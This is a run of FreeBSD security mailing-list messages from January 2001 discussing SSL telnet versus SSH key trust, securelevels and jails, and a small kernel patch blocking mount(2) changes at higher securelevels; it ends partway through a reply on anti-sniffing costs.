From owner-freebsd-security Sun Jan 7 4:56: 4 2001 Delivered-To: freebsd-security@freebsd.org Received: from smtpout.kingston-internet.net (smtpout.kingston-internet.co.uk [212.50.161.69]) by hub.freebsd.org (Postfix) with ESMTP id 23D9837B6C1 for ; Sun, 7 Jan 2001 04:54:54 -0800 (PST) Received: from dialup99.manuel.kingston-internet.net ([212.50.176.99] helo=pmason.karoo.co.uk) by smtpout.kingston-internet.net with smtp (Exim 2.12 #8) id 14FFLX-0003ok-00 for security@FreeBSD.ORG; Sun, 7 Jan 2001 12:54:52 +0000 Date: Sun, 7 Jan 2001 12:54:37 -0000 From: **1st Vamp** Reply-To: **1st Vamp** To: security@FreeBSD.ORG Subject: Fw: Re: Antisniffer measures (digest of posts) X-Mailer: AK-Mail 3.1 publicbeta2a [eng] (unregistered) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --- START OF FORWARDED MESSAGE ---------------------------------------------- To: Wes Peters Date: 07/01/2001, 12:45:09 Subject: Re: Antisniffer measures (digest of posts) Technically any SSL enabled telnet client wouldn't be that different from using a normal telnet client through an SSL tunnel, such as stunnel, although some bugs have been found in recent ports, and this is technically no more secure than plain old SSH. - Vamp : Or just provide us with a really good telnet-over-SSL client. : An excellent summary, Robert. : -- : "Where am I, and what am I doing in this handbasket?" : Wes Peters : Softweyr LLC : wes@softweyr.com : http://softweyr.com/ : To Unsubscribe: send mail to majordomo@FreeBSD.org : with "unsubscribe freebsd-security" in the body of the message --- END OF FORWARDED MESSAGE ------------------------------------------------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 7 6:52:37 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail1.javanet.com (mail1.javanet.com [205.219.162.10]) by hub.freebsd.org (Postfix) with ESMTP id 6CF3037B705; Sun, 7 Jan 2001 06:26:58 -0800 (PST) Received: from wintermute.sekt7.org (146-115-74-28.c5-0.brl-ubr1.sbo-brl.ma.cable.rcn.com [146.115.74.28]) by mail1.javanet.com (8.9.3/8.9.2) with ESMTP id JAA01178; Sun, 7 Jan 2001 09:26:57 -0500 (EST) Date: Sun, 7 Jan 2001 09:30:25 -0500 (EST) From: Evan S X-Sender: kaworu@wintermute.sekt7 To: Kris Kennaway Cc: freebsd-security@FreeBSD.org Subject: Re: changing kernsecurelevel In-Reply-To: <20010107051309.A2018@citusc.usc.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Mm, I want secure level to be 2 at times because then I can chflags schg the login.conf file inside the Jail, and limit cpu usage, memory usage, incase anyone fork bombs. That's alright though, I am working on giving a jail its own secure level, and its going pretty well.. Thanks, Evan Sarmiento (kaworu@sektor7.ath.cx) http://sekt7.org/es On Sun, 7 Jan 2001, Kris Kennaway wrote: > On Fri, Jan 05, 2001 at 09:30:22PM -0500, Evan S wrote: > > I know this may seem crazy. But, I _want_ to be able to lower the secure > > level. What part of the soruce would I need to edit in order to fix this? > > > > I have some special circumstances.. I run a public root-access machine. > > In case the point has not been made sufficiently yet: if you have a > public root-access machine, and root can lower securelevel, then you > lose all protection from running at securelevel and might as well just > leave it at -1 from the beginning. > > Kris > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 7 8:21:49 2001 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id C9FC537B400 for ; Sun, 7 Jan 2001 08:21:29 -0800 (PST) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.1/8.11.1) with SMTP id f07GLG728317; Sun, 7 Jan 2001 11:21:17 -0500 (EST) (envelope-from robert@fledge.watson.org) Date: Sun, 7 Jan 2001 11:21:16 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org To: **1st Vamp** Cc: security@FreeBSD.ORG Subject: Re: Fw: Re: Antisniffer measures (digest of posts) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 7 Jan 2001, **1st Vamp** wrote: > To: Wes Peters > Date: 07/01/2001, 12:45:09 > Subject: Re: Antisniffer measures (digest of posts) > > Technically any SSL enabled telnet client wouldn't be that different from > using a normal telnet client through an SSL tunnel, such as stunnel, > although some bugs have been found in recent ports, and this is technically > no more secure than plain old SSH. I'm not sure I follow your argument -- if the SSL telnet properly evaluates X.509 certificates, and has preconfigured, trusted roots, then an SSL telnet does offer something that SSH does not have: the ability to connect to a new host without a manual keying procedure. Given that the weakness currently widely touted as existing in SSH is really a failure to provide an automatic keying procedure (and users not knowing how to deal with that), it seems to be the case that in that regard, it really *is* more secure than plain old SSH. Now, at least some of the SSL clients out there actually don't do this: for example, last time I looked at pine-SSL (a while ago), it performed no certificate checking, meaning it was quite subject to a man-in-the-middle attack, and unlike most versions of SSH, would not display any warning indicating the potential for one. However, a properly written and configured SSL client should not do this. Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 7 8:28:15 2001 Delivered-To: freebsd-security@freebsd.org Received: from smtpout.kingston-internet.net (smtpout.kingston-internet.co.uk [212.50.161.69]) by hub.freebsd.org (Postfix) with ESMTP id 1CBD337B698 for ; Sun, 7 Jan 2001 08:27:20 -0800 (PST) Received: from dialup99.manuel.kingston-internet.net ([212.50.176.99] helo=pmason.karoo.co.uk) by smtpout.kingston-internet.net with smtp (Exim 2.12 #8) id 14FIf6-0007P2-00 for security@FreeBSD.ORG; Sun, 7 Jan 2001 16:27:18 +0000 Date: Sun, 7 Jan 2001 16:27:00 -0000 From: **1st Vamp** Reply-To: **1st Vamp** To: security@FreeBSD.ORG Subject: Re: Antisniffer measures (digest of posts) X-Mailer: AK-Mail 3.1 publicbeta2a [eng] (unregistered) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org True, very valid points, that's what I get for replying to mailing lists when I'm barely awake from a long night of revision. - Vamp : On Sun, 7 Jan 2001, **1st Vamp** wrote: :> To: Wes Peters :> Date: 07/01/2001, 12:45:09 :> Subject: Re: Antisniffer measures (digest of posts) :> :> Technically any SSL enabled telnet client wouldn't be that different from :> using a normal telnet client through an SSL tunnel, such as stunnel, :> although some bugs have been found in recent ports, and this is :> technically :> no more secure than plain old SSH. : I'm not sure I follow your argument -- if the SSL telnet properly : evaluates X.509 certificates, and has preconfigured, trusted roots, then : an SSL telnet does offer something that SSH does not have: the ability to : connect to a new host without a manual keying procedure. Given that the : weakness currently widely touted as existing in SSH is really a failure to : provide an automatic keying procedure (and users not knowing how to deal : with that), it seems to be the case that in that regard, it really *is* : more secure than plain old SSH. Now, at least some of the SSL clients out : there actually don't do this: for example, last time I looked at pine-SSL : (a while ago), it performed no certificate checking, meaning it was quite : subject to a man-in-the-middle attack, and unlike most versions of SSH, : would not display any warning indicating the potential for one. However, a : properly written and configured SSL client should not do this. : Robert N M Watson FreeBSD Core Team, TrustedBSD Project : robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 7 8:33:28 2001 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 4AAA037B6A2; Sun, 7 Jan 2001 08:32:35 -0800 (PST) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.1/8.11.1) with SMTP id f07GWS728988; Sun, 7 Jan 2001 11:32:28 -0500 (EST) (envelope-from robert@fledge.watson.org) Date: Sun, 7 Jan 2001 11:32:28 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org To: Evan S Cc: Kris Kennaway , freebsd-security@FreeBSD.org Subject: Re: changing kernsecurelevel In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 7 Jan 2001, Evan S wrote: > Mm, I want secure level to be 2 at times because then I can chflags schg > the login.conf file inside the Jail, and limit cpu usage, memory usage, > incase anyone fork bombs. > > That's alright though, I am working on giving a jail its own secure level, > and its going pretty well.. At least in -CURRENT, processes within a jail should be unable to manipulate the system file flags, meaning that from that perspective, jail should already appear to have a lower securelevel. The goal of this change from the original jail code was that this would allow the administrator to share files between jails and have some confidence that this would not be a channel of communication or attack between the jails. I believe this was backported, so you may want to confirm, on a plain vanilla system, that a change is actually required there. Which features (other than the device-opening one which I pointed out in a prior e-mail) have you identified which do not work under securelevels, but do work in jail()? In general, features disabled were selected on two criteria: 1) The ability to use the feature to "break out of securelevels" -- i.e., influence the running kernel, or replace the kernel and its supporting files. This means protecting kmem, providing a system immutable file service, monotonically increasing securelevels only, and so on, directly access disk devices, and so on. 2) At higher securelevels, the ability to change security-sensitive system configuration. For example, the ability to change firewall rules. There are probably some other miscellaneous securelevel details, but not many. It should be noted that there is substantial overlap between (1) above, and the goal of jail(), which was: 1) Prevent processes within jail() from being able to "break out of jail" -- that is, influence the running kernel to remove the restrictions in place, influence processes outside of the jail() in question, protecting against inappropriate direct disk devices access, and so on. Therefore, it's arguable that jail() protections and securelevel protections should have a lot of overlap, although some protections are done in different ways. Securelevels prevents opening of devices, whereas jail() limits the creation of devices (and assumes the administrator is careful about which devices are created in the jail() namespace). Jail() sharply limits a number of operations that are permitted with securelevels, such as manipulating the file system namespace using chroot() or mount(), whereas securelevels allow this to some extent. Jail() has process namespace scoping, but securelevels have no need for this functionality. Both securelevels and jail() limit certain configuration activities, but for different reasons: jail() usually restricts them because they impact processes outside of the scope of the jail(). If you identify things restricted by securelevel and not jail(), we should be considering changing jail() to be more restrictive. Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 7 8:51:50 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail1.javanet.com (mail1.javanet.com [205.219.162.10]) by hub.freebsd.org (Postfix) with ESMTP id 5C9BA37B69B; Sun, 7 Jan 2001 08:51:01 -0800 (PST) Received: from wintermute.sekt7.org (146-115-74-28.c5-0.brl-ubr1.sbo-brl.ma.cable.rcn.com [146.115.74.28]) by mail1.javanet.com (8.9.3/8.9.2) with ESMTP id LAA30510; Sun, 7 Jan 2001 11:50:56 -0500 (EST) Date: Sun, 7 Jan 2001 11:54:23 -0500 (EST) From: Evan S X-Sender: kaworu@wintermute.sekt7 To: Robert Watson Cc: Kris Kennaway , freebsd-security@FreeBSD.org Subject: Re: changing kernsecurelevel In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Mm, Openroot runs on -CURRENT, and users are able to apply those flags to files. But, I made a little patch, and it seems to work. They're not able to do it anymore. Other than that I'm happy with the way Jail works. The above was the only problem I had. Thanks, Evan Sarmiento (kaworu@sektor7.ath.cx) http://sekt7.org/es On Sun, 7 Jan 2001, Robert Watson wrote: > > On Sun, 7 Jan 2001, Evan S wrote: > > > Mm, I want secure level to be 2 at times because then I can chflags schg > > the login.conf file inside the Jail, and limit cpu usage, memory usage, > > incase anyone fork bombs. > > > > That's alright though, I am working on giving a jail its own secure level, > > and its going pretty well.. > > At least in -CURRENT, processes within a jail should be unable to > manipulate the system file flags, meaning that from that perspective, jail > should already appear to have a lower securelevel. The goal of this > change from the original jail code was that this would allow the > administrator to share files between jails and have some confidence that > this would not be a channel of communication or attack between the jails. > I believe this was backported, so you may want to confirm, on a plain > vanilla system, that a change is actually required there. > > Which features (other than the device-opening one which I pointed out in a > prior e-mail) have you identified which do not work under securelevels, > but do work in jail()? In general, features disabled were selected on two > criteria: > > 1) The ability to use the feature to "break out of securelevels" -- i.e., > influence the running kernel, or replace the kernel and its supporting > files. This means protecting kmem, providing a system immutable file > service, monotonically increasing securelevels only, and so on, > directly access disk devices, and so on. > > 2) At higher securelevels, the ability to change security-sensitive system > configuration. For example, the ability to change firewall rules. > > There are probably some other miscellaneous securelevel details, but not > many. It should be noted that there is substantial overlap between (1) > above, and the goal of jail(), which was: > > 1) Prevent processes within jail() from being able to "break out of jail" > -- that is, influence the running kernel to remove the restrictions in > place, influence processes outside of the jail() in question, > protecting against inappropriate direct disk devices access, and so on. > > Therefore, it's arguable that jail() protections and securelevel > protections should have a lot of overlap, although some protections are > done in different ways. Securelevels prevents opening of devices, whereas > jail() limits the creation of devices (and assumes the administrator is > careful about which devices are created in the jail() namespace). Jail() > sharply limits a number of operations that are permitted with > securelevels, such as manipulating the file system namespace using > chroot() or mount(), whereas securelevels allow this to some extent. > Jail() has process namespace scoping, but securelevels have no need for > this functionality. Both securelevels and jail() limit certain > configuration activities, but for different reasons: jail() usually > restricts them because they impact processes outside of the scope of the > jail(). If you identify things restricted by securelevel and not jail(), > we should be considering changing jail() to be more restrictive. > > Robert N M Watson FreeBSD Core Team, TrustedBSD Project > robert@fledge.watson.org NAI Labs, Safeport Network Services > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 7 9: 8:17 2001 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id BB3F137B402; Sun, 7 Jan 2001 09:07:59 -0800 (PST) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.1/8.11.1) with SMTP id f07H7v729195; Sun, 7 Jan 2001 12:07:57 -0500 (EST) (envelope-from robert@fledge.watson.org) Date: Sun, 7 Jan 2001 12:07:57 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org To: Evan S Cc: Kris Kennaway , freebsd-security@FreeBSD.org Subject: Re: changing kernsecurelevel In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 7 Jan 2001, Evan S wrote: > Mm, Openroot runs on -CURRENT, and users are able to apply those flags > to files. But, I made a little patch, and it seems to work. They're not > able to do it anymore. Aha. They can add, but not remove, right? That probably should be changed -- feel free to e-mail me a patch and I'll apply as appropriate. > Other than that I'm happy with the way Jail works. The above was the > only problem I had. Great. Contributions in this space are always welcome :-). There is a patch in the PR database, btw, that deals with another problem with jail() that you might potentially run into: resource limits are currently global in scope, and not per-jail(). This has positive and negative aspects, and the patch doesn't address all of the problems that need to be addressed, I believe. Really, we'd like to have per-jail resource limits, and then within that scope per-uid-per-jail limits. However, the current resource mechanism is not structured to support this. I believe the patch addresses the per-uid-per-jail aspect, but does not allow the host administrator to specify per-jail limits to bound the resources allocated to a particular jail. With the gradual cleanup of credentials and resources limit structures, as well as a possible eventual move of the jail pointer into ucred or pcred, this problem will probably be more easily addressed. Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 7 11:25:53 2001 Delivered-To: freebsd-security@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 4E4A437B400; Sun, 7 Jan 2001 11:25:36 -0800 (PST) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id OAA04427; Sun, 7 Jan 2001 14:25:35 -0500 (EST) (envelope-from wollman) Date: Sun, 7 Jan 2001 14:25:35 -0500 (EST) From: Garrett Wollman Message-Id: <200101071925.OAA04427@khavrinen.lcs.mit.edu> To: Robert Watson Cc: security@FreeBSD.ORG Subject: Re: Fw: Re: Antisniffer measures (digest of posts) In-Reply-To: References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org < said: > an SSL telnet does offer something that SSH does not have: the ability to > connect to a new host without a manual keying procedure. Some people would say that this is a liability. I've got a number of particularly argumentative users here who insist that trusted third parties of any kind are fundamentally bad. While I don't necessarily agree, it is true that in any X.509 configuration it is necessary to be very careful about which CAs one trusts and for which purposes. (For our SSL applications here, we will only trust our own CA, since it is the only one capable of authenticating our users.) -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 7 12:50: 4 2001 Delivered-To: freebsd-security@freebsd.org Received: from mailhost01.reflexnet.net (mailhost01.reflexnet.net [64.6.192.82]) by hub.freebsd.org (Postfix) with ESMTP id D6BD237B400; Sun, 7 Jan 2001 12:49:44 -0800 (PST) Received: from rfx-64-6-211-149.users.reflexcom.com ([64.6.211.149]) by mailhost01.reflexnet.net with Microsoft SMTPSVC(5.5.1877.197.19); Sun, 7 Jan 2001 12:48:01 -0800 Received: (from cjc@localhost) by rfx-64-6-211-149.users.reflexcom.com (8.11.0/8.11.0) id f07Kngo51445; Sun, 7 Jan 2001 12:49:42 -0800 (PST) (envelope-from cjc) Date: Sun, 7 Jan 2001 12:49:41 -0800 From: "Crist J. Clark" To: Garrett Wollman Cc: Robert Watson , security@FreeBSD.ORG Subject: Re: Fw: Re: Antisniffer measures (digest of posts) Message-ID: <20010107124941.X95729@rfx-64-6-211-149.users.reflexco> Reply-To: cjclark@alum.mit.edu References: <200101071925.OAA04427@khavrinen.lcs.mit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <200101071925.OAA04427@khavrinen.lcs.mit.edu>; from wollman@khavrinen.lcs.mit.edu on Sun, Jan 07, 2001 at 02:25:35PM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, Jan 07, 2001 at 02:25:35PM -0500, Garrett Wollman wrote: > < said: > > > an SSL telnet does offer something that SSH does not have: the ability to > > connect to a new host without a manual keying procedure. > > Some people would say that this is a liability. I've got a number of > particularly argumentative users here who insist that trusted third > parties of any kind are fundamentally bad. While I don't necessarily > agree, it is true that in any X.509 configuration it is necessary to > be very careful about which CAs one trusts and for which purposes. > (For our SSL applications here, we will only trust our own CA, since > it is the only one capable of authenticating our users.) And when we are talking about people connecting among their own machines, we probably will be talking about self-signed certs anyway. Who is going to pay Verisign or whoever so that an administrator can connect from his office to the filesever downstairs? Starting up your own PKI is non-trivial and expensive, and if you get it wrong, it is all for nothing since it adds no security. SSL for login sessions does have a niche, but the PKI for SSL can be overkill just as the complete lack of a PKI within the SSH protocols can be problematic. For either one, it all comes back to the problems of cost-effective and secure PKI and where to balance cost and security for your needs. -- Crist J. Clark cjclark@alum.mit.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 7 13:49:54 2001 Delivered-To: freebsd-security@freebsd.org Received: from homer.softweyr.com (bsdconspiracy.net [208.187.122.220]) by hub.freebsd.org (Postfix) with ESMTP id F2DC237B400; Sun, 7 Jan 2001 13:49:35 -0800 (PST) Received: from [127.0.0.1] (helo=softweyr.com ident=Fools trust ident!) by homer.softweyr.com with esmtp (Exim 3.16 #1) id 14FNdr-0000AA-00; Sun, 07 Jan 2001 14:46:19 -0700 Message-ID: <3A58E3AB.1117EF2D@softweyr.com> Date: Sun, 07 Jan 2001 14:46:19 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Garrett Wollman Cc: Robert Watson , security@FreeBSD.ORG Subject: Re: Fw: Re: Antisniffer measures (digest of posts) References: <200101071925.OAA04427@khavrinen.lcs.mit.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Garrett Wollman wrote: > > < said: > > > an SSL telnet does offer something that SSH does not have: the ability to > > connect to a new host without a manual keying procedure. > > Some people would say that this is a liability. I've got a number of > particularly argumentative users here who insist that trusted third > parties of any kind are fundamentally bad. While I don't necessarily > agree, it is true that in any X.509 configuration it is necessary to > be very careful about which CAs one trusts and for which purposes. > (For our SSL applications here, we will only trust our own CA, since > it is the only one capable of authenticating our users.) Amen. The idea of a single large CA that can be trusted for everything is ludicrous, the stuff business plans are made of. Like ssh, the X.509 certificate mechanism is a tool that must be used properly to function. Pounding nails with a jewelers screwdrive isn't and effective activity either. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 7 17:23:34 2001 Delivered-To: freebsd-security@freebsd.org Received: from netau1.alcanet.com.au (ntp.alcanet.com.au [203.62.196.27]) by hub.freebsd.org (Postfix) with ESMTP id 0267637B400 for ; Sun, 7 Jan 2001 17:23:16 -0800 (PST) Received: from mfg1.cim.alcatel.com.au (mfg1.cim.alcatel.com.au [139.188.23.1]) by netau1.alcanet.com.au (8.9.3 (PHNE_22672)/8.9.3) with ESMTP id MAA20664; Mon, 8 Jan 2001 12:23:11 +1100 (EDT) Received: from gsmx07.alcatel.com.au by cim.alcatel.com.au (PMDF V5.2-32 #37640) with ESMTP id <01JYNXJ9S8J490FZEY@cim.alcatel.com.au>; Mon, 8 Jan 2001 12:23:10 +1100 Received: (from jeremyp@localhost) by gsmx07.alcatel.com.au (8.11.0/8.11.0) id f081N8U70981; Mon, 08 Jan 2001 12:23:08 +1100 (EST envelope-from jeremyp) Content-return: prohibited Date: Mon, 08 Jan 2001 12:23:08 +1100 From: Peter Jeremy Subject: Re: Antisniffer measures (digest of posts) In-reply-to: <000701c07750$eb585e60$0c00a8c0@ipform.ru>; from matrix@ipform.ru on Fri, Jan 05, 2001 at 10:51:36PM +0300 To: Artem Koutchine Cc: security@FreeBSD.ORG Mail-followup-to: Artem Koutchine , security@FreeBSD.ORG Message-id: <20010108122308.J71232@gsmx07.alcatel.com.au> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-disposition: inline User-Agent: Mutt/1.2.5i References: <000701c07750$eb585e60$0c00a8c0@ipform.ru> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 2001-Jan-05 22:51:36 +0300, Artem Koutchine wrote: >Buying 500$ SNMP controllable switch is CRAZY. I will not do it. It is >way too expensive. It will cost us about 4000$. No-one said security was free. Presumably whatever you are protecting has a value (otherwise, why are you protecting it). Any solution you select will have a cost and have some probability that it will fail. What you need to do is come up with a solution where the risk and cost are acceptable given the value of what you're protecting. Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 7 18:46:27 2001 Delivered-To: freebsd-security@freebsd.org Received: from mailhost01.reflexnet.net (mailhost01.reflexnet.net [64.6.192.82]) by hub.freebsd.org (Postfix) with ESMTP id 98F2837B402 for ; Sun, 7 Jan 2001 18:46:08 -0800 (PST) Received: from rfx-64-6-211-149.users.reflexcom.com ([64.6.211.149]) by mailhost01.reflexnet.net with Microsoft SMTPSVC(5.5.1877.197.19); Sun, 7 Jan 2001 18:44:11 -0800 Received: (from cjc@localhost) by rfx-64-6-211-149.users.reflexcom.com (8.11.0/8.11.0) id f082jpD54052 for freebsd-security@freebsd.org; Sun, 7 Jan 2001 18:45:51 -0800 (PST) (envelope-from cjc) Date: Sun, 7 Jan 2001 18:45:46 -0800 From: "Crist J. Clark" To: freebsd-security@freebsd.org Subject: Read-Only Filesystems, mount(2) patch Message-ID: <20010107184546.E95729@rfx-64-6-211-149.users.reflexco> Reply-To: cjclark@alum.mit.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I got bored enough while on vacation last week to actually make the simple hack to prevent changes to mounts at high (>2) securelevels. The patch is so small I am including it inline, --- sys/kern/vfs_syscalls.c.orig Sat Dec 16 04:41:58 2000 +++ sys/kern/vfs_syscalls.c Wed Jan 3 00:20:03 2001 @@ -122,6 +122,14 @@ struct nameidata nd; char fstypename[MFSNAMELEN]; + /* + * Prevent changes in mount properties at securelevel > 1 + */ + if (securelevel > 1) { + printf("failed mount(2) at securelevel\n"); + return (EPERM); + } + if (usermount == 0 && (error = suser(p))) return (error); /* Brilliant, huh? It took me two hours to find mount(2) (once you find it the location seems obvious of course) and 35 seconds to write the code. Now, this breaks some things. This is unavoidable since the whole idea is to break mount(2) at securelevel. I have played with this modification with respect to local filesystems and it does what I want. You can't make changes once the securelevel gets notched up. However, there may be desired functionality that may be lost. Potential NFS problems always come to mind, but then I wonder how much you are worrying about security if you are using NFS. But _then_ I think of the possibility of locking down the local OS on "public" workstations where most user data is mounted from a server, and I could see why the machine would be running at high securelevel and still be moving NFS mounts around. There was a fair amount of discussion on the 'Read-Only Filesystems' thread from two weeks ago, so I think there is some interest in the topic. Here are some questions/opinions on this subject: - Is changing the mount(2) code to check securelevel(8) the way to do this? The controls must of course be in the kernel. mount(2) seems like the obvious place. But is using kern.securelevel too granular? - Is losing the ability to use mount(2) going to really break stuff that should not be broken? - If this is too strict, what are the conditions that should be put on mounts? Examples: Read-write can be changed to read-only, but not back. nosuid can be turned on, but not off. nodev can be turned on, but not off. Same deal with noexec. No "new" filesystems can be mounted, /unless/ mounted nosuid and nodev. And noexec? Overall, this is what I was seeking to do, so I probably am not going to go further with this unless someone has some interesting ideas on the above thoughts or has some of their own that I have not considered. -- Crist J. Clark cjclark@alum.mit.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 7 20:39:34 2001 Delivered-To: freebsd-security@freebsd.org Received: from homer.softweyr.com (bsdconspiracy.net [208.187.122.220]) by hub.freebsd.org (Postfix) with ESMTP id 3152837B400 for ; Sun, 7 Jan 2001 20:39:17 -0800 (PST) Received: from [127.0.0.1] (helo=softweyr.com ident=Fools trust ident!) by homer.softweyr.com with esmtp (Exim 3.16 #1) id 14FUBW-0000Jb-00; Sun, 07 Jan 2001 21:45:30 -0700 Message-ID: <3A5945EA.94BFBAA1@softweyr.com> Date: Sun, 07 Jan 2001 21:45:30 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Peter Jeremy Cc: Artem Koutchine , security@FreeBSD.ORG Subject: Re: Antisniffer measures (digest of posts) References: <000701c07750$eb585e60$0c00a8c0@ipform.ru> <20010108122308.J71232@gsmx07.alcatel.com.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Peter Jeremy wrote: > > On 2001-Jan-05 22:51:36 +0300, Artem Koutchine wrote: > >Buying 500$ SNMP controllable switch is CRAZY. I will not do it. It is > >way too expensive. It will cost us about 4000$. > > No-one said security was free. Presumably whatever you are protecting > has a value (otherwise, why are you protecting it). This is the point of security, including computer security, that is least understood. Spending more on security than the value of what you are protecting is stupid and wasteful. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 8 0:21:39 2001 Delivered-To: freebsd-security@freebsd.org Received: from obivon.nren.nasa.gov (obivon.nren.nasa.gov [198.10.1.39]) by hub.freebsd.org (Postfix) with ESMTP id 330CF37B400; Mon, 8 Jan 2001 00:21:18 -0800 (PST) Received: from localhost (matt@localhost) by obivon.nren.nasa.gov (8.10.2/8.10.2) with ESMTP id f088LE305013; Mon, 8 Jan 2001 00:21:14 -0800 (PST) X-Authentication-Warning: obivon.nren.nasa.gov: matt owned process doing -bs Date: Mon, 8 Jan 2001 00:21:14 -0800 (PST) From: Matt Chew Spence To: Artem Koutchine Cc: , Subject: Re: Antisniffer measures (digest of posts) In-Reply-To: <000701c07750$eb585e60$0c00a8c0@ipform.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org You are never going to find a perfect security solution- There will always be some obscure exploit that someone truly skilled could exploit to get in your system were they highly motivated to do so. That said, most security incidents are crimes of opportunity, and 95% are from somebody within the organization, not from over the internet. The key steps are 1) determine what you are trying to protect and from whom 2) determine the worst case consequences were someone to compromise that asset 3) determine how much time, effort, and $$ you can afford to protect it > first: > > 50% of the people said "SWITCH TO SWITCHES", 